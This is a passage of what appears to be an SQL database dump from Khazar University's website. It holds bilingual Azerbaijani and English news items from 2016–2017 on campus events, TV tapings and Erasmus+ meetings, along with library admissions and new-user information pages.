çəkilişi oldu','2016-cı il dekabrın 29-da İctimai TV-nın “Elm üçbucağı” proqramının növbəti çəkilişi Xəzər Universitetində oldu. Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar...','<p>2016-cı il dekabrın 29-da İctimai TV-nın “Elm üçbucağı” proqramının növbəti çəkilişi Xəzər Universitetində oldu. Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı “Bilik, elm və elm adamı” mövzusunda mühazirə oxudu. Universitetin əməkdaşları da dinləyici qismində verilişdə iştirak edirdilər.</p>'),(3057,1804,'en','Routine Taping of Hamlet Isaxanli’s \"Triangle of Science\" Program','On December 29, a taping for the “Triangle of Science” Program on Public TV was held at Khazar University. Khazar University’s founder and chairman of the Board of Directors...','<p>On December 29, a taping for the “Triangle of Science” Program on Public TV was held at Khazar University. Khazar University’s founder and chairman of the Board of Directors and Trustees, Professor Hamlet Isaxanli gave a lecture on “Knowledge, Science and People of Science.” An audience of Khazar employees and students also participated in the show.</p>'),(3058,1803,'en','Farewell Party for Khazar Staff Member','On December 29, 2016, a party was held in the Cultural Center of Khazar University to send off Martha Lawry, Assistant to Professor Hamlet Isaxanli, the founder of Khazar...','<p>On December 29, 2016, a party was held in the Cultural Center of Khazar University to send off Martha Lawry, Assistant to Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, as she completed her time at Khazar and prepared to leave the country. Participants in the event included university administrators, employees and guests.&nbsp;</p><p>Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, made a speech in which he highly evaluated Martha’s service during her 7 years at Khazar. He spoke about her personal characteristics and noted that she is a hard-working, responsible employee. The University Multimedia Center presented a slideshow that they had prepared for Martha.&nbsp;</p><p>Other speeches were made by President Hassan Niknafs; Vice President Isakhan Isakhanli; Dr. Jabir Khalilov, Dean of the School of Humanities and Social Sciences; Alovsat Amirbeyli, Director for Public Relations and Media; Baba Bayramli, Director of the Center for Alumni Relations; Goshgar Maharramov, instructor of the School of Education; and Solmaz Rustamova-Tohidi, Senior Researcher of the Ziya Bunyadov Oriental Studies Institute of Azerbaijan National Academy of Sciences.&nbsp;</p><p>Martha Lawry was given a bouquet, various gifts and a certificate of appreciation. She made a speech thanking the university administration and employees. The event included musical performances.&nbsp;</p>'),(3059,1805,'az','Musiqi və incəsənət departamentinin imtahan tamaşası ','2016-cı il dekabrın 26-da Xəzər Universitetinin “Dünya” konsert salonunda universitetin Musiqi və incəsənət departamentinin müdiri, pianoçu Zülfiyyə Sadıqovanın bədii...','<p>2016-cı il dekabrın 26-da Xəzər Universitetinin “Dünya” konsert salonunda universitetin Musiqi və incəsənət departamentinin müdiri, pianoçu Zülfiyyə Sadıqovanın bədii rəhbərliyi ilə &nbsp;birinci semestrin yekunlarına həsr olunmuş “Leyli Məcnun və məhəbbət” adlı &nbsp;imtahan tamaşası. nümayiş etdirildi.</p><p>Tamaşa Xəzər Universitetinin birinci kurs tələbələrindən ibarət xor kollektivi (müəllim Məhsəti Cabbarova), oğlan və qızlardan ibarət rəqs ansamblı (müəllim əməkdar artist Telman Əliyev), vokalçılar və &nbsp;Gənclər və İdman Nazirliyi &nbsp;ilə Təhsil Nazirliyinin birgə keçirdiklər “Tələbə baharı” adlı Beynəlxalq Gənclər Yaradıvcılıq Festivalının digər universitetlərdən (Azərbaycan Dövlət İqtisad Universiteti, &nbsp;Azərbaycan Memarlıq və İnşaat Universiteti, Azərbaycan Dövlət Dillər, Azərbaycan Dövlət Mədəniyyət və İncəsənət universiteti, Bakı Xoreoqrafiya Akademiyası) &nbsp; olan qaliblərinin iştirakı ilə hazırlanmışdı.</p><p>Tamaşanın quruluşçu rejissoru Xəzərin müəllimi Səbinə İsmayılova, ssenari müəllifi &nbsp;festivalın qaliblərindən olan Ceyhun Hüseynli &nbsp;və İqtisad universitetinin tələbəsi Vüsal Nəcəfov idi.</p><p>Tamaşanın musiqi tərtibatında Üzeyir Hacıbıyli, Süleyman Ələsgərov və Cavanşir Quliyevin əsərlərindən istifadə olunmuşdu.</p><p>Tamaşadan sonra Xəzər universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı, Xalq artisti Nurəddin Mehdixanlı və əməkdar artist Nicat Kazımov çıxış edərək, tamaşa haqqında müsbət rəylərini bildirdilər.</p><p>Xəzər Universitetinin tələbələri tamaşanın nəticələrinə görə qitmətləndirildilər.</p>'),(3060,1805,'en','End-of-Semester Performance by Music and Fine Arts Department ','On December 26, 2016, an end-of-semester concert/examination was held in the World Concert Hall of Khazar University under the artistic direction of Associate Professor...','<p>On December 26, 2016, an end-of-semester concert/examination was held in the World Concert Hall of Khazar University under the artistic direction of Associate Professor Zulfiyya Sadigova, Head of the Department of Music and Fine Arts. The event was entitled “Leyli Majnun and Love.”&nbsp;</p><p>The performance featured a choir of first-year students (instructor Mehseti Jabbarova), girls’ and boys’ dance ensembles (instructor Meritorious Artist Telman Aliyev), and vocalists. The event also included other universities’ student winners from the “Student Spring” International Youth Arts Festifal which was held in cooperation with the Ministry of Youth and Sports and the Ministry of Education (including Azerbaijan State Economics University, Azerbaijan University of Architecture and Construction, Azerbaijan State University of Culture and Arts, and Baku Choreography Academy).&nbsp;</p><p>The director and producer of the event was Sabina Ismayilova, Khazar University instructor, and the script writers were Jeyhun Huseynli and Vusal Najafov, Festival winners from the Economics University. The soundtrack included musical works by Uzeyir Hajibeyli, Suleyman Alasgarov and Javanshir Guliyev.&nbsp;</p><p>After the performance, positive evaluations were given by Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees; People’s Artist Nureddin Mehdikhanli; and Meritorious Artist Nijan Kazimov.&nbsp;</p><p>Khazar University students participating in the event earned grades based on their performances.&nbsp;</p>'),(3061,1806,'az','“Xəzər”də bayram şənliyi','Dekabrin 30-da Xəzər Universitetinin Mərmər zalında Dünya Azərbaycanlılarının Həmrəylik Günü və Yeni il münasibətilə təntənəli bayram şənliyi keçirildi, ziyafət təşkil olundu...','<p>Dekabrin 30-da Xəzər Universitetinin Mərmər zalında Dünya Azərbaycanlılarının Həmrəylik Günü və Yeni il münasibətilə təntənəli bayram şənliyi keçirildi, ziyafət təşkil olundu.</p><p>Universitetin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı, rektor Hassan Niknafs və prorektor Məhəmməd Nuriyev və digərləri çıxış edərək, əməkdaşları təbrik etdilər, onlara yeni ildə uğurlar arzuladılar.</p><p>Tədbirdə mahnılar oxundu, şeirlər söyləndi, lotereya oynanıldı. Əməkdaşlar rəqs edərək əyləndilər. Bayram şənliyi xoş əhval-ruhiyyə ilə başa çatdı.</p>'),(3062,1806,'en','Holiday Celebration at Khazar','On December 30, a holiday celebration and banquet were held to mark 31 December-- International Solidarity Day of Azerbaijanis as well as New Year...','<p>On\r\nDecember 30, a holiday celebration and banquet were held to mark 31 December--\r\nInternational Solidarity Day of Azerbaijanis as well as New Year. </p>\r\n<p>Professor\r\nHamlet Isaxanli, the founder of Khazar University and Chairman of its Board of\r\nDirectors and Trustees, President Hassan Niknafs, Vice President Mahammad\r\nNuriyev and others made speeches to congratulate the Khazar collective and wish\r\nthem success in the New Year. </p>\r\n<p>The\r\nevent included songs, poems, and door prizes. There was also music and dancing.\r\nKhazar University wishes all its students, staff and faculty happy holidays.&nbsp;</p>'),(3065,1808,'az','Təsisçi “Xəzər” TV-nin “Səni axtarıram” proqramında','2017-ci il yanvarın 1-də Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı “Səni axtarıram” verlişinin qonağı oldu...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci\r\nil yanvarın 1-də Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar\r\nŞurasının sədri professor Hamlet İsaxanlı “Səni axtarıram” verlişinin qonağı\r\noldu. O, 2016-cı ildə dünyada və Azərbaycanda baş verən mühüm siyasi, iqtisadi,\r\nelmi və mədəni hadisələrə münasibət bildirdi və Azərbaycanla əlaqələri itmiş\r\ninsanların taleyi barədə söhbət açdı.&nbsp;</p>'),(4345,2576,'az','KİM-in əməkdaşları “Çin cazibəsi” adlı musiqili tədbirdə iştirak etdilər','2017-ci il oktyabrın 24-də Azərbaycan Dillər Universitetində Konfutsi İnstitutunun (Hanban) təşkilatçılığı ilə “Çin cazibəsi” adlı musiqili...','<p>2017-ci il oktyabrın 24-də Azərbaycan Dillər Universitetində Konfutsi İnstitutunun (Hanban) təşkilatçılığı ilə “Çin cazibəsi” adlı musiqili tədbir keçirildi. Tədbirdə Shandong Normal Universitetinin Mədəniyyət və incəsənət truppası qədim çin musuqi alətlərində ifa, milli və etnik rəqslər, kong-fu döyüş sənətindən nümunələr təqdim etdi.</p><p>Tədbirdə Xəzər Universitetinin Kitabxana-İnformasiya Mərkəzinin əməkdaşları Samirə Orucova və Esmira Huseynova iştirak edirdilər.</p>'),(3549,2074,'en','Face-to-face with People\'s Artist of Azerbaijan, Ramiz Guliyev','On April 14, 2017 a meeting with an outstanding tar player, world tar legend, People\'s Artist, Professor Ramiz Guliyev took place at Khazar University Dunya concert hall. It was...','<p>On April 14, 2017 a meeting with\r\nan outstanding tar player, world tar legend, People\'s Artist, Professor Ramiz\r\nGuliyev took place at Khazar University Dunya concert hall. It was dedicated to\r\nthe artist’s 70th jubilee under the scope of the project “Face-to-Face”\r\nrealized by Khazar University.</p>\r\n<p>At the beginning of the event,\r\nmusic expert Nargiz Karimova spoke about the artist’s life and musical\r\nactivity. Then People\'s Artist Ramiz Guliyev was invited to the stage and the\r\nconcert began. There were performed works of Gara Garayev, Tofig Guliyev,\r\nGambar Huseynli, Vasif Adigozalov, Sardar Farajov and as well Anton Rubensteyn,\r\nFranz Schubert, Vittorio Monti and Mikis Teodorakisin accompanied by Khazar\r\nUniversity Chamber Orchestra.&nbsp;</p>\r\n<p>A film about the famous tar\r\nplayer was presented as well. The director of Music College after Asaf\r\nZeynalli, honored worker of art, Nazim Kazimov, the head of the Music and Fine\r\nArts Department at Khazar University, pianist, professor Zulfiyya Sadigova, the\r\nSecretary of the Composers\' Union, honored art worker, Sardar Farajov and the\r\nfounder of Khazar University and chairman of its Board of Directors and\r\nTrustees, Professor Hamlet Isakhanli made speeches at the concert.</p>\r\n<p>N. Kazimov spoke about the\r\ncharacteristics of Ramiz Guliyev’s art life. Zulfiyya Sadigova shared her\r\nmemories connected with Ramiz Guliyev and recalled the art event honoring the\r\nartist’s 55th jubilee organized by her fifteen years ago and presented the\r\nfootage of the event. S. Farajov described Ramiz Guliyev as the follower of\r\nUzeyir Hajibeyli’s music tradition. Hamlet Isakhanli mentioned Ramiz Guliyev’s\r\nincredible performance had always been highly appreciated in Azerbaijan and\r\nabroad.</p>\r\n<p>The speakers congratulated the\r\nprominent artist on his 70th jubilee, wished him new achievements, and\r\npresented with congratulatory letters and flowers.</p>\r\n<p>In the end, People\'s Artist Ramiz\r\nGuliyev took the floor and expressed gratitude to the university authority for\r\nthe organization and all the audience present.</p>'),(3550,2072,'en','A New Session on Web of Science Platform Held','On April 14, 2017, another event as a part of the project for higher education institutions based on the Web of Science platform of the world\'s leading news agency Thomson Reuters...','<p class=\"xmsonormal\" style=\"\" margin:0in;margin-bottom:.0001pt;line-height:115%;background:white\"\"=\"\">On\r\nApril 14, 2017, another event as a part of the project for higher education\r\ninstitutions based on the Web of Science platform of the world\'s leading news\r\nagency Thomson Reuters took place at the University of Azerbaijan State Oil and\r\nIndustry University.</p>\r\n<p class=\"xmsonormal\" style=\"\" margin:0in;margin-bottom:.0001pt;line-height:115%;background:white\"\"=\"\">The\r\nevent consisted of two parts. First, the representative of the Department of\r\nScience and Education at Thomson Reuters Agency, Aygun Babazadeh gave detailed\r\ninformation about the agency and all of its scientific journals. Then Khayala\r\nMammadova, deputy editor of Khazar Journal of Humanities and Social Sciences\r\ntalked about journal’s management principles, the requirements for scientific\r\narticles to be accepted to Web of Science platform, and informed the participants\r\nabout the submission rules, selection criteria and other practical issues.\r\nLater she answered the questions of the participants.</p>\r\n<p class=\"xmsonormal\" style=\"\" margin:0in;margin-bottom:.0001pt;line-height:115%;background:white\"\"=\"\">A\r\nseries of such events are planned to be held at other higher education\r\ninstitutions. It should be noted that the aim of the project is to contribute\r\nthe development of science in Azerbaijan and promote international cooperation,\r\nthrough access to Thomson Reuters to increase the number of scientific\r\npublications of Azerbaijani researchers in indexed journals.</p>'),(3551,2081,'en','Training of “GR8” Company for Khazar University Students','On Aprel 17,2017 “GR8” company conducted a training session on professional e-mail writing rules for students of Political Science and International Relation Department...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">On Aprel 17,2017 “GR8” company conducted a training session on\r\nprofessional e-mail writing rules for students of Political Science and\r\nInternational Relation Department of Khazar University. The training was\r\nconducted by Aygun Novruzova, “GR8” company co-founder and training\r\nmanager&nbsp; of “Baku Fairmont” Hotel. The\r\ntraining was held interactively and&nbsp;\r\ncovered rules that must be followed and the most common mistakes while\r\nwriting an e-mail. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">It should be noted that, mentioned training took place as a part of 10-\r\nweek Training Program for the Development of Entrepreneurship and Professional\r\nSkills organized by Political Science and International Relation Department of\r\nKhazar University.</p>'),(3763,2196,'en','MA Research','MA Research','<a href=\"http://www.khazar.org/files/master/2012-2016-M%C3%BCdaf%C4%B1%C9%99%20etmi%C5%9F%20magistrl%C9%99r.docx\"><p><strong>The List of&nbsp;Defended Theses</strong></p></a>'),(3552,2085,'az','Xəzər Universitetinin əcnəbi tələbələri “Əcnəbi gənclər və tələbələrin ideya platforması” layihəsində','2017-ci il aprelin 13-də Bakı Beynəlxalq Tələbə Klubunun təşkilatçılığı ilə ADA Universitetində “Əcnəbi gənclər və tələbələrin ideya platforması” layihəsinin yarımfinal...','<p>2017-ci\r\nil aprelin 13-də Bakı Beynəlxalq Tələbə Klubunun təşkilatçılığı ilə ADA\r\nUniversitetində “Əcnəbi gənclər və tələbələrin ideya platforması” layihəsinin\r\nyarımfinal mərhələsi keçirildi.\r\nLayihənin məqsədi Bakıda təhsil alan əcnəbi gənclər və tələbələri\r\nmaraqlandıran&nbsp; mövzular haqqında öz\r\nfikirlərini ifadə etmək üçün platformanın yaradılmasıdır. 15 ölkədən doqquz ali\r\nməktəbi təmsil edən iyirmi iştirakçı münsiflər heyəti qarşısında çıxış etdi. Hər\r\nbir iştirakçı beş dəqiqə ərzində təqdimat etdi. Təqdimatlar beş ballıq şkala\r\nüzrə münsiflər heyəti tərəfindən qiymətləndirildi. Münsiflər heyəti Təhsil\r\nNazirliyi, Azərbaycan Respublikasının Prezidenti yanında Gənclər Fondu, Azərbaycan\r\nRespublikası Gənclər Təşkilatları Milli Şurası, Bakı Şəhər Halqası Əməliyyat\r\nŞirkəti və yerli telekanallarının nümayəndələrindən ibarət idi. </p>\r\n<p>Xəzər Universitetinin iki əcnəbi\r\ntələbəsi yarımfinalda iştirak etdi.</p>\r\n<p>Xəzər Universitetinin Kamerundan\r\nolan MBA tələbəsi Castin Bonqvonq “Gələcək gənc nəslin əlindədir” deyir. Castin\r\n“Gənc nəsil sabahın liderləri kimi” mövzusunda təqdimatı ilə çıxış etdi. O, gənclərin\r\ndəstəklənməsi, uşaqların müharibə böhranından qorunması, gənc nəslin inkişafı və\r\nöz arzularına nail olacağı bir cəmiyyətin qurulması haqqında danışdı.</p>\r\n<p>Erasmus+ proqramı çərçivəsində\r\nXəzər Universitetində mübadilə proqramında iştirak edən Kozminski\r\nUniversitetinin (Polşa) tələbəsi Mixal Horbaçevski sahibkarlıq haqqında təqdimat\r\netdi.</p>\r\n<p>Layihənin final mərhələsi 2017-ci il aprelin\r\n25-də baş tutacaq. Müsabiqədə ilk üç yerini tutan qaliblər pul mükafatı ilə təltif\r\nolunacaqlar.</p>\r\n<p>“Əcnəbi gənclər və tələbələrin ideya\r\nplatforması” layihəsi Azərbaycan Respublikasının Prezidenti yanında Gənclər\r\nFondu və ADA Universitetinin Magistr Tələbə Hökümətinin dəstəyi ilə həyata keçirilir.&nbsp;</p>'),(4927,2875,'az','NİZAMİ layihəsinə dair görüş','4-8 aprel 2016-cı il tarixdə Azərbaycanda Təhsil Nazirliyi, Xəzər Universiteti və Bakı Dövlət Universitetində...','<p>4-8 aprel 2016-cı il tarixdə Azərbaycanda Təhsil Nazirliyi, Xəzər Universiteti və Bakı Dövlət Universitetində NİZAMİ ERASMUS+ Potensialın Gücləndirilməsi Layihəsi üzrə ardıcıl görüşlər keçiriləcək. Layihə “Azərbaycanda doktorantura təhsilinin Avropa ali təhsil tələblərinə uyğun yenidən qurulması və inkişafı” adlanır. Layihənin işçi qrupu 15 ali təhsil müəssisəsi, Təhsil Nazirliyi və Milli Elmlər Akadmiyasının nümayəndələrindən ibarətdir. Layihə qrupunun tərkibində 15 ali təhsil müəssisəsi ilə yanaşı 5 Avropa, 1 Türkiyə və 9 Azərbaycan universiteti var.</p><p>Görüşlər Azərbaycan və Avropada doktorantura təhsilinin müqayisəli və tənqidi təhlilinə həsr edilmiş və Azərbaycanda doktorantura təhsilinin inkişafı üçün tövsiyələr hazırlanmışdır. Görüşlər birinci gün Təhsil Nazirliyi, ikinci gün Xəzər Universiteti, üçüncü gün isə Bakı Dövlət Universitetində keçiriləcək.</p>'),(4928,2875,'en','NIZAMI Project Meeting','On April 4-8, 2016, the next routine management meeting of the NIZAMI ERASMUS+ Capacity...','<p>On April 4-8, 2016, the next routine management meeting of the NIZAMI ERASMUS+ Capacity Building Project will take place in Azerbaijan at the Ministry of Education, Khazar University and Baku State University. The project is called “Restructuring and Development of Doctoral Studies in Azerbaijan in line with Requirements of Higher Education Area.” The project team consists of 15 Higher Education Institutions along with the Ministry of Education and the Academy of Sciences of the republic of Azerbaijan. Among the 15 HEIs there are 5 European, 1 Turkish and 9 Azerbaijani universities.</p><p>This meeting is devoted to discussions of Doctoral Studies in Azerbaijan and Europe, their comparison and critical analysis as well as recommendations for the improvement of Doctoral Education in Azerbaijan. The meeting will be hosted by the Ministry of Education on the first day, by Khazar University on the next two days, and by Baku State University on the last day.</p>'),(3376,1976,'az','Hamlet İsaxanlı ilə müsahibə dərc olundu','“Xəzər Humanitar və Sosial Elmlər Jurnalı”nın yeni sayı (buraxılış 20, 1-ci sayı) Xəzər Unviersiteti Nəşriyyatında çap olunmuşdur. Yeni nömrəyə Xəzər Universitetinin təsisçisi...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"=\"\">“Xəzər Humanitar və Sosial Elmlər Jurnalı”nın yeni\r\nsayı (buraxılış 20, 1-ci sayı) Xəzər Unviersiteti Nəşriyyatında çap olunmuşdur.\r\nYeni nömrəyə Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar\r\nŞurasının sədri professor Hamlet İsaxanlıdan “Polimatizm” (hələ çap olunmamış)\r\nkitabının müəllifi Vaqas Əhmədin aldığı müsahibə də daxildir.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"=\"\">Onun müsahibəsi aşağıdakı linkdədir:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"=\"\"><a href=\"http://jhss-khazar.org/wp-content/uploads/2016/11/11.66.Intervyuu.pdf\">http://jhss-khazar.org/wp-content/uploads/2016/11/11.66.Intervyuu.pdf</a>.&nbsp;&nbsp;</p>'),(5021,2926,'az','Qaydalar','Qaydalar','<p><strong>Giriş</strong></p><p style=\"text-align:justify\">Xəzər Universiteti Kitabxana və İnformasiya Mərkəzinin (KİM) qaydalar səhifəsinə xoş gəlmişsiniz! Burada siz Xəzər Universiteti KİM-dən necə istifadə edəcəyiniz, eyni zamanda daha çox məlumata ehtiyac duyduğunuz zaman əlaqə vasitələrinə dair məlumatları tapa biləcəksiniz.</p><p style=\"text-align:justify\"><span style=\"text-align:start\">Aşağıda qeyd olunan oxucular Kitabxanadan istifadə edə bilərlər (daha ətraflı məlumat üçün Universitetin&nbsp;</span><a href=\"http://www.khazar.org/en/menus/1342/circulation_policy_1518778018\" style=\"text-align:start\"><strong>Kitabxana istifadə qaydaları</strong>&nbsp;</a><span style=\"text-align:start\">başlığına keçin):</span></p><br><ul><li style=\"text-align:justify\">Xəzər Universitetinin bütün heyəti kitabxanadan istifadə edə bilər.&nbsp;<em style=\"text-align:justify\">Bəzi sənədləri gətirməyinizə ehtiyac duyula bilinəcəyini xahiş edirik nəzərə alasınız. Ətraflı məlumat üçün \"<a href=\"http://www.khazar.org/en/menus/1342/circulation_policy_1518778018\"><strong>Kitabxana istifadə</strong>&nbsp;</a><strong><a href=\"http://library.khazar.org/s8/Circulation-Policy/en\">qaydaları</a></strong>”na nəzər salın.</em></li><li style=\"text-align:justify\"><em style=\"text-align:justify\"></em>Azərbaycanın başqa universtetlərinin akademik heyəti, doktorantları, axırıncı kurs tələbələri Kitabxana resurslarına oxu zalında istifadə etmək üçün müraciət edə bilərlər.</li><li style=\"text-align:justify\">Xüsusi və biznes tədqiqatçıları&nbsp;araşdırmalar üçün lazım olan materialları Xəzər&nbsp;Universitetinin kitabxanasının resurslarından istifadə etmək üçün müraciət edə bilərlər.</li></ul>'),(5022,2926,'en','Admissions','Admissions','<p><strong>Introduction</strong></p><p style=\"text-align:justify\">Welcome to the Library and Information Center‘s (LIC) Admissions webpages. Here, you will find information about access to Khazar University Library and Information Center as well as contact details if you need to find out more.</p><p style=\"text-align:justify\"><strong>Overview</strong></p><p style=\"text-align:justify\"><span style=\"text-align:start\">The following categories of readers can access or apply for access (for full details of entitlements please refer to&nbsp;</span><a href=\"http://www.khazar.org/en/menus/1342/circulation_policy_1518778018\" style=\"text-align:start\"><strong>Circulation Policy</strong></a><span style=\"text-align:start\">&nbsp;of&nbsp;the University Library). The full categories table is also available:</span></p><br><ul><li style=\"text-align:justify\">All members of the Khazar University are welcome to use the Library.&nbsp;<em>Please note that you may need to bring some supporting documentation. See \'</em><strong><em><a href=\"http://www.khazar.org/en/menus/1342/circulation_policy_1518778018\">Circulation Policy</a>’</em></strong>&nbsp;for full details.</li><li style=\"text-align:justify\">Academic staff, research students, taught postgraduate and undergraduate students from other Azerbaijan universities can apply to use the Library resources in the Reading Halls.</li><li style=\"text-align:justify\">Private and business researchers may apply to use the Library for reference if their research requires access to materials held at the University LIC.</li></ul>'),(5023,2927,'az','Yeni İstifadəçilər','Yeni İstifadəçilər','<p style=\"text-align:justify\"><strong>KİM-ə necə\r\ngedə bilərəm?</strong></p><p style=\"text-align:justify\">Xəzər Universiteti KİM&nbsp; Neftçilər korpusu yeni binada (\r\nV və VI mərtəbələrində) və digər iki şöbəsi – Şəhər Mərkəzi və Alatava\r\nkorpusunda yerləşir.</p><p style=\"text-align:justify\"><strong><strong><br></strong></strong></p><p style=\"text-align:justify\"><strong><strong>İş qrafiki?</strong></strong></p><p style=\"text-align:justify\">Bazar ertəsi-cümə:\r\n08.30-19.30 və şənbə günləri: 9.00-15.00 (Neftçilər korpusu), 9.00-17.00&nbsp;(MBA\r\nkitabxanası). Bazar istirahət günüdür.</p><p style=\"text-align:justify\"><strong><strong><br></strong></strong></p><p style=\"text-align:justify\"><strong><strong>KİM-dən kimlər istifadə\r\nedə bilər?</strong></strong></p><p style=\"text-align:justify\"><strong><strong></strong></strong>Xəzər Universitetinin bütün heyəti kitabxanadan istifadə edə\r\nbilər.</p><p style=\"text-align:justify\">Digər universitetlərdən akademik heyət və tədqiqatçı tələbələr\r\n(doktorant) kitabxanaya qaynaqlardan istifadə etmək üçün müraciət edə bilərlər.</p><p style=\"text-align:justify\">Azərbaycanın başqa universtetlərindən axırıncı kurs tələbələri\r\nvə aspirantları Kitabxananın oxu zalından istifadə üçün müraciət edə bilərlər.</p><p style=\"text-align:justify\">Xüsusi və biznes tədqiqatçıları&nbsp; araşdırmalara lazım\r\nolan materialları Universitet kitabxanasının resurslarından istifadə etmək üçün\r\nmüraciət edə bilərlər.&nbsp;</p><p style=\"text-align:justify\"><strong><strong><br></strong></strong></p><p style=\"text-align:justify\"><strong>\r\n<strong>KİM-in fonduna hansı\r\nmateriallar daxildir?</strong></strong></p><p style=\"text-align:justify\"><strong><strong></strong></strong>Xəzər Universiteti\r\nKİM Biznes, İqtisadiyyat və menecment, Mühəndislik və tətbiqi elmlər, Təhsil,\r\nSosial, Siyasi elmlər və Beynəlxalq münasibətlər, Filologiya, Fəlsəfə, İncəsənət,\r\nTarix və Tibb elmləri sahələrində Azərbaycan, ingilis, rus, türk, ərəb, fars,\r\nalman, fransız,yapon, çin, digər müasir Avropa və Şərq dillərində çap olunmuş\r\nelektron materialları özündə cəmləşdirir. Orta hesabla kitabxana\r\nmateriallarının 75%-i ingilis dilindədir. Dünyada çap olunan dərslik kitabları,\r\neyni zamanda Xəzər Universitetinin nəşrləri kitabxanada geniş şəkildə istifadəyə\r\nverilmişdir. KİM-in&nbsp; bir və iki dilli ensiklopediyaları, nadir kitablardan\r\nibarət xüsusi kolleksiyaları, əlyazmalar və başqa materialların da daxil olduğu\r\ngeniş açıq fondu var.</p><p style=\"text-align:justify\"><strong><strong><br></strong></strong></p><p style=\"text-align:justify\"><strong><strong>KİM-in hansı elektron\r\nresursları var?</strong></strong><br>\r\nXəzər Universiteti KİM Biznes, İqtisadiyyat və menecment, Mühəndislik\r\nvə tətbiqi elmlər, Təhsil, Sosial, Siyasi elmlər və Beynəlxalq münasibətlər,\r\nFilologiya, Fəlsəfə, İncəsənət, Tarix və Tibb elmləri sahələrində Azərbaycan,\r\ningilis, rus, türk, ərəb, fars, alman, fransız,yapon, çin, digər müasir Avropa\r\nvə Şərq dillərində çap olunmuş elektron materialları özündə cəmləşdirir. Orta\r\nhesabla kitabxana materiallarının 75%-i ingilis dilindədir. Dünyada çap olunan\r\ndərslik kitabları, eyni zamanda Xəzər Universitetinin nəşrləri kitabxanada\r\ngeniş şəkildə istifadəyə verilmişdir. KİM-in&nbsp; bir və iki dilli\r\nensiklopediyaları, nadir kitablardan ibarət xüsusi kolleksiyaları, əlyazmalar və\r\nbaşqa materialların da daxil olduğu geniş açıq fondu var.</p><p style=\"text-align:justify\"><strong><strong><br></strong></strong></p><p style=\"text-align:justify\"><strong><strong>KİM-in hansı elektron\r\nresursları var?</strong></strong></p><p style=\"text-align:justify\"><strong><strong></strong></strong>İstifadəçilər onlayn ictimai girişi həyata keçirən kataloq\r\n(OPAC) vasitəsilə materiallara: kitablara, dövri nəşrlərə, video qeydlərə,\r\ningilis, azəri, rus və başqa dilli CD-ROM-lara axtarış edə bilərlər. İstifadəçilər\r\nşəxsi kitab qovluğunda asanlıqla yaddaşa ötürmə, çap etmə üsulu ilə\r\nbiblioqrafiyalarını yarada bilərlər.</p><p style=\"text-align:justify\">Universitet kitabxanası&nbsp;<a href=\"http://webopac.khazar.org/wx/S.exe\"><strong>e-Katalog</strong></a>&nbsp;vasitəsilə dünyanın hər bir yerindən ekitablar,\r\nejurnallar, web səhifələr və verilənlər bazasına onlayn girişi təmin etməyə müvəffəq\r\nolub.</p><p style=\"text-align:justify\">Xəzər Universiteti KİM-i EBSCO, Oksfordun onlayn mənbələri,&nbsp;IOPscience, BioOne, Edvard\r\nElqar Nəşriyyatı&nbsp;və s. kimi müxtəlif elektron resurslara girişi təmin edir. Xəzər\r\nUniversiteti Nəşriyyatında çap olunan dövri nəşrlər və Universitet əməkdaşlarının\r\naraşdıramaları nəticəsində ərsəyə gələn məhsullar müəssisənin elektron arxivində\r\n(<a href=\"http://dspace.khazar.org/\"><strong>http://dspace.khazar.org</strong></a>) mövcuddur.</p><p style=\"text-align:justify\"><strong><strong><br></strong></strong></p><p style=\"text-align:justify\"><strong><strong>KİM-lə necə əlaqə\r\nsaxlaya bilərəm?</strong></strong></p><p style=\"text-align:justify\"><strong><a href=\"http://www.khazar.org/az/menus/1301/opening_hours\">İş Qrafiki</a>&nbsp;</strong>səhifəsinə baxın.<br></p><p style=\"text-align:justify\"><strong>E-mail</strong>:&nbsp;<a href=\"mailto:library@khazar.org\">library@khazar.org</a></p>'),(5024,2927,'en','New Users','New Users','<p style=\"text-align:justify\"><strong>How do I get to the LIC?</strong></p><p style=\"text-align:justify\"><strong></strong>Khazar University Library and Information Center is located in the Nefchilar Campus, new building (5\'th and 6\'th floors) with two branches in Downtown and Alatava campuses.</p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong>When is it open?</strong></p><p style=\"text-align:justify\"><strong></strong>Monday to Friday 08.30-19.30 and 9.00-15.00 on Saturdays (Neftchilar Campus),&nbsp;9.00-17.00&nbsp;(MBA Library). The Library is closed on Sundays.</p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong>Who can use the LIC?</strong></p><p style=\"text-align:justify\"><strong></strong>All members of the Khazar University are welcome to use the Library.&nbsp;</p><p style=\"text-align:justify\">Academic staff and research students from other universities can apply to use the Library for reference.</p><p style=\"text-align:justify\">Undergraduate and taught postgraduate students from other Azerbaijan universities can apply to access the Library Reading Halls.</p><p style=\"text-align:justify\">Private and business researchers may apply to use the Library resources and for reference if their research requires access to materials held at the University Library. Please refer to our \'Admissions webpages\' for full details.</p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong>What material does the library have?</strong></p><p style=\"text-align:justify\"><strong></strong>Khazar University Library and 